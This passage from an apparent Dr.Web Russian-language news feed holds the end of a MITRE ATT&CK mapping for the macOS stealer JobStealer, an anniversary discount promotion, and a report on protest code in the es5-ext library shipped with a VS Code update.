Мы проанализировали вредоносную программу JobStealer по фреймворку MITRE ATT&CK®, который представляет собой матрицу с описанием тактик и техник киберпреступников, атакующих информационные системы. В результате были выявлены следующие ключевые техники:

Этап	Техника
Выполнение	Выполнение с участием пользователя (T1204) Вредоносное копирование и вставка (T1204.004) Вредоносный файл (T1204.002)
Обнаружение	Обнаружение файлов и каталогов (T1083)
Сбор данных	Автоматизированный сбор (T1119) Данные из локальной системы (T1005) Учетные данные из хранилищ паролей (T1555) Связка ключей (T1555.001) Учетные данные из браузеров (T1555.003) Перехват вводимых данных (T1056) Перехват ввода в графическом интерфейсе (T1056.002) Архивация собранных данных (T1560)
Организация управления	Веб-служба (T1102)
Эксфильтрация данных	Автоматизированная эксфильтрация (T1020) Эксфильтрация по каналу управления (T1041) Эксфильтрация через веб-службу (T1567)

Подробнее о Mac.PWS.JobStealer.1

Индикаторы компрометации

Скидка 22%: специальная акция в честь дня рождения Dr.Web

Mon, 20 Apr 2026 16:39:08 GMT

22 апреля — знаменательная дата в истории информационной безопасности. В этот день мы празднуем двойной День Рождения: антивируса Dr.Web и его создателя, Игоря Данилова. 34 года назад был создан антивирус Dr.Web, который сегодня надежно защищает миллионы компьютеров, серверов, терминалов, смартфонов и других устройств по всему миру.

В честь этого праздника, мы запустили специальную акцию — скидку 22% на двухлетние лицензии Dr.Web. Условия праздничного предложения:

вы можете защитить свои персональные компьютеры и смартфоны с помощью Dr.Web Security Space и Dr.Web Security Space для мобильных устройств,
возможно приобрести лицензию на 1— 5 устройств,
срок действия акции: с 20 по 27 апреля.

Успейте воспользоваться выгодным предложением и забыть о киберугрозах на целых 2 года!
Купить со скидкой

Антироссийский призыв в консоли разработчика вместе с обновлением Microsoft Visual Studio Code

Fri, 17 Apr 2026 15:44:22 GMT

«Доктор Веб» сообщает, что при установке новой версии популярного редактора кода Microsoft Visual Studio Code (MS VS Code) Dr.Web детектирует вредоносный JS файл внутри. Данный вредоносный код был добавлен в javascript-библиотеку "es5-ext" еще в 2022 году и до сих пор в ней содержится.

Что делает вредоносный JS-файл

Вредоносный файл демонстрирует в консоли разработчика призыв с антироссийской позицией касательно СВО:

Данный вредоносный скрипт запускается при соответствии условия часового пояса российских городов. Их полный список можно увидеть на скриншоте: среди них Анадырь, Барнаул, Калининград, Самара и многие другие.

Чем опасен данный код и почему мы его детектируем

Разработчик пакета es5-ext добавил в код вывод всплывающего сообщения в консоль при определенных условиях. Специалисты «Доктор Веб» классифицируют данное поведение как злонамеренную вставку вредоносного кода, не имеющего никакого отношения к функционалу библиотеки, направленную против части пользователей на основе региональной принадлежности, что является достаточным основанием для детектирования.

На данный момент код выполняет только агитационную функцию, но разработчик в любой момент может заменить данный код и наделить его другими функциями: например, с помощью него он сможет удалить все ваши данные с компьютера. Такие случаи в нашей практике уже фиксировались.

Несмотря на то, что о наличии данного кода в библиотеке профессиональному сообществу известно давно, компания Microsoft инкорпорировала этот пакет в свое программное обеспечение в качестве зависимости.

Последствия для пользователей

В результате этого решения все пользователи, обновляющие MS VS Code автоматически, получают вместе с обновлением и «малварный» пакет. Срабатывание антивируса происходит именно в момент загрузки или распаковки обновления, содержащего скомпрометированную библиотеку.

Игорь Здобнов, руководитель антивирусной лаборатории «Доктор Веб»:
Мотивы, по которым Microsoft включила в зависимость заведомо сомнительный пакет, нам неведомы. Мы рекомендуем пользователям обратить внимание на срабатывания антивируса и, при необходимости, временно приостановить автоматическое обновление до выяснения обстоятельств со стороны разработчика.

«Доктор Веб» настоятельно рекомендует пользователям проверять все загружаемые обновления и обращать внимание на предупреждения антивирусного программного обеспечения. Последняя версия MS VS Code, где нет указанной проблемы — 1.115.